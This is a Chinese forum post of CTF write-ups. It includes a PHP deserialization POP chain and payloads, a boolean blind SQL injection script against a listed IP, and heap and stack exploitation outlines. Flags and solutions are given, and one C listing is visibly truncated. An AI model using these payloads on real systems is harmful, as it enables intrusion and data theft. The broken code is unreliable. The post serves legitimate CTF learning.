用户
搜索
  • TA的每日心情

    4 天前
  • 签到天数: 56 天

    连续签到: 1 天

    [LV.5]常住居民I

    管理员

    Rank: 9Rank: 9Rank: 9

    95

    主题

    98

    帖子

    1485

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2019-6-14
    发表于 2019-10-31 10:48:05 11573
    1.easyphp

    # Title
    php反序列化
    # Tools
    * python
    # exp
    ```<?php
        class hint {
            public $file;
            function __construct($filename = 'flag.php') {
                $this -> file = $filename;
            }

            function readfile() {
                if (!empty($this->file) && stripos($this->file,'..')===FALSE  
                && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                    return @file_get_contents($this->file);
                }
            }
        }
    ?>

    ```
    得到:
    `O:4:"hint":1:{s:4:"file";s:8:"flag.php";}`
    构造:
    `class=O:4:"hint":2:{s:4:"file";s:8:"flag.php";}`
    绕过wakeup


    2.easysql


    # sql-exec

    ## **[目标]**
    sql登录 getshell

    ## **[环境]**
    - php

    ## **[工具]**
    - python

    ## **[步骤]**

    普通的布尔盲注
    ```
    import requests

    def getDBName(DBName_len):
        DBName = ""

        success_url = r"http://120.55.43.255:13005/?id=1%20%20and%201%20like%201--+"
        success_response_len = len(requests.get(success_url).text)

        url_template = r"http://120.55.43.255:13005/?id=1%20and%20ascii(substr((select%20flag%20from%20flag),{0},1))%20like%20{1}%20%23"
        chars = 'flag{abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'

        print("Start to retrieve database name...")
        print("Success_response_len is: ", success_response_len)
        for i in range( 1, DBName_len + 1):
            print("Number of letter: " , i)
            tempDBName = DBName
            for char in chars:
                print("Test letter " + char)
                char_ascii = ord(char)
                url = url_template.format(i, char_ascii)
                #print url
                response = requests.get(url)
                if len(response.text) == success_response_len:
                    DBName += char
                    print("DBName is: " + DBName + "...")
                    break
            if tempDBName == DBName:
                print("Letters too little! Program ended." )
                exit()
        print("Retrieve completed! DBName is: " + DBName)

    getDBName(40)
    ```


    3.easy

    # Note

    ## 文件说明

    `src`: 题目源码

    `give_to_player`:  需下发的题目binary

    `docker`: 题目docker环境

    `exp`: 题解

    ## exp运行方式
    本地测试:`python solve.py`

    远程测试:`python solve.py REMOTE`(在exp中修改remote的参数为对应的ip和端口)

    ## docker说明
    1. 修改docker-compose.yml中的端口设置。如果无特殊需求,只要把其中的`ports`修改为`xxxx:8888`,其中`xxxx`为外部访问端口,默认值为30022。
    2. 启动docker: 在docker文件夹下运行`docker-compose build; docker-compose up -d`。
    3. 关闭docker: 在docker文件夹下运行`docker-compose down`。
    4. 如果需要自定义flag,修改docker/share/flag然后重启docker。

    ## 题解
    1. printf漏洞做泄露,有栈溢出
    2. 因为有canary,所以第一次printf要泄露canary然后栈溢出跳回mian再泄露libc,然后把返回地址改成one godget即可。


    4.calculate2

    # Title
    calculate2
    # Tools
    * python
    # exp
    ```python
    import re
    import requests
    import time

    url = 'http://ip'

    res = requests.session()

    ans1 = res.get(url)
    calc = re.findall(r">(.*?)</div>",ans1.content)
    s = "".join(calc).strip('=')
    ans = eval(s)
    while True:
        try:
            time.sleep(1)
            ans2 = res.post(url=url,data={"ans":ans}).content
            calc = re.findall(r">(.*?)</div>",ans2)
            s = "".join(calc).strip('=')
            ans = eval(s)
        except:
            print ans2
            break

    ```


    5.easy_re

    ### easy_re

    简单的TEA加密,拿到key解密即可。

        #include <stdio.h>

        void encrypt(unsigned int* v, unsigned int* key) {
          unsigned int l = v[0], r = v[1], sum = 0, delta = 0x9e3779b9;
          for (size_t i = 0; i < 32; i++) {
            sum += delta;
            l += ((r << 4) + key[0]) ^ (r + sum) ^ ((r >> 5) + key[1]);
            r += ((l << 4) + key[2]) ^ (l + sum) ^ ((l >> 5) + key[3]);
          }
          v[0] = l;
          v[1] = r;
        }

        void decrypt(unsigned int* v, unsigned int* key) {
          unsigned int l = v[0], r = v[1], sum = 0, delta = 0x9e3779b9;
          sum = delta * 32;
          for (size_t i = 0; i < 32; i++) {
            r -= ((l << 4) + key[2]) ^ (l + sum) ^ ((l >> 5) + key[3]);
            l -= ((r << 4) + key[0]) ^ (r + sum) ^ ((r >> 5) + key[1]);
            sum -= delta;
          }
          v[0] = l;
          v[1] = r;
        }

        int main(int argc, char const *argv[])
        {
            //test
            // unsigned char v[12]={'c','t','f','{','3','a','S','y','T','3','a','}'}, key[4]={1,2,3,4};
            unsigned char key[4] = {1,2,3,4};
             = vv[0];
                enc[i+1] = vv[1];
           }
            // for(int i = 0;i<12;i++){
            //     printf("%u ",enc);
            // }
            if(enc[0] == 2802232297){
                if(enc[1] == 3721752694){
                    if(enc[2] == 827650583){
                        if(enc[3] == 3362133656){
                            if(enc[4] == 3289674931){
                                if(enc[5] == 2553977759){
                                    if(enc[6] == 2563380521){
                                        if(enc[7] == 2922691041){
                                            if(enc[8] == 44663347){
                                                if(enc[9] == 1697381001){

           unsigned char dec[12] = {0};
            unsigned int encd[12] = {2802232297,3721752694,827650583,3362133656,3289674931,2553977759,2563380521,2922691041,44663347,1697381001,3178548141,4122706324};
            unsigned int vvv[2] = {0};
            for(int i = 0 ;i < 12 ;i+=2){
                vvv[0] = encd;
                vvv[1] = encd[i+1];
                decrypt(vvv,key);
                printf("%c%c",vvv[0],vvv[1]);
            }

            // encrypt(v,key);
            // printf("%u,%u\n",v[0],v[1]);

            return 0;
        }


    6.best_language1

    ### Usage

    #### docker build .

    #### docker run -p 80:80 -d [container id]



    ### writeup

    `first=u&key=th3_k3y_y0u_cann0t_guess2333&function=extract&ccc=F1ag&file=php://filter/read=convert.base64-encode/resource=class.php` //读class.php文件

    在phpinfo.php可以发现session.upload_progress开启,又有ini_set,利用session反序列化,构造pop链和上传页面:

    pop.php

    ```php
    <?php
            class Monitor {

                public $test;

                function __construct() {

                    $this->test ="index.php";

                }



                function __destruct() {

                echo "<br>file:" .$this->test."<br>";

            }

            }

            class Welcome {

                public $obj;

                public $var;

                function __construct(){

                    $this->var='success';

                    $this->obj=null;

                }

                function __toString(){

                    $this->obj->execute();

                    return $this->var."";

                }
                

            }

            class Come{

                public $method;

                public $args;

                function __construct($method, $args) {

                    $this->method = $method;

                    $this->args = $args;

                }

                function __wakeup(){

                    foreach($this->args as $k => $v) {

                        $this->args[$k] = $this->waf(trim($v));

                    }

                }

                function waf($str){

                    $str=preg_replace("/[<>*;|?\n ]/","",$str);

                    $str=str_replace('/../','',$str);

                    $str=str_replace('../','',$str);

                    return $str;

                }

                function get_dir($path){

                    print_r(scandir("/tmp".$path));

                }



                function execute() {

                    if (in_array($this->method, array("get_dir"))) {

                        call_user_func_array(array($this, $this->method), ($this->args));

                    }

                }





            }

    $come = new Come('get_dir',array('/....//var/www/html'));
    $welcome = new Welcome();
    $welcome->obj = $come;
    $monitor = new Monitor();
    $monitor->test = $welcome;
    var_dump($tttt=serialize($monitor));
    echo str_replace("\"", "\\\"", $tttt);
    ```

    **payload:** `|O:7:\"Monitor\":1:{s:4:\"test\";O:7:\"Welcome\":2:{s:3:\"obj\";O:4:\"Come\":2:{s:6:\"method\";s:7:\"get_dir\";s:4:\"args\";a:1:{i:0;s:19:\"/....//var/www/html\";}}s:3:\"var\";s:7:\"success\";}}`

    可以列目录:

    ![1](1.png)

    disable_functions,禁用了很多危险函数,可以利用第一步,php://filter 读flag。


    7.pwn_normal

    # EasyHeap

    ## 文件说明

    `chall.c`: 题目源码

    `chall`:  需下发的题目binary

    `libc.so`:  需下发的题目libc

    `docker`: 题目docker环境

    `exp.py`: 题解

    ## 编译选项

    `gcc -fstack-protector-all -z now -pie -fPIC ./chall.c -o ./chall; strip ./chall`

    ## exp运行方式
    本地测试:`python exp.py DEBUG`

    远程测试:`python exp.py DEBUG REMOTE`(在exp中修改remote的参数为对应的ip和端口)

    ## docker说明
    1. 修改docker-compose.yml中的端口设置。如果无特殊需求,只要把其中的`ports`修改为`xxxx:8888`,其中`xxxx`为外部访问端口,默认值为40096。
    2. 启动docker: 在docker文件夹下运行`docker-compose build; docker-compose up -d`。
    3. 关闭docker: 在docker文件夹下运行`docker-compose down`。
    4. 如果需要自定义flag,修改docker/share/flag然后重启docker。

    ## 题解
    1. 本题保护全开,libc版本为2.27。所有malloc的size都在tcache范围内。功能逻辑是普通的增删改查。
    2. 漏洞点在update函数中。`abs(x)`当`x=-2147483648`时返回值为`-2147483648`,通过模运算可以改掉chunk_size。
    3. 利用以上漏洞构造unsorted bin泄露libc基地址,因为然后通过chunk overlap改掉tcache的fd实现任意地址写。
    4. 具体将__free_hook改为system。


    8.easy-pp

    # cpp 逆向

    ### 简介
    base32加密 + LZW压缩算法
    ### flag
    flag{7ddd59c2aae242239889682f84d9c920123}
    ### 编译(mac-os)
    make
    ### 给出文件:easy-pp output.txt
    ### wp
    本题目是使用base32加密与LZW压缩算法的结合。
    首先过LZW算法,手动output在对应字典里寻找对应值即可, 组合起来之后,结果是"G5SGIZBVHFRTEYLBMUZDIMRSGM4TQOBZGY4DEZRYGRSDSYZZGIYDCMRT",
    使用base32解密得到flag: 7ddd59c2aae242239889682f84d9c920123.


    easy_re 代码多次执行都不成功,楼主可以分享一下代码吗
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册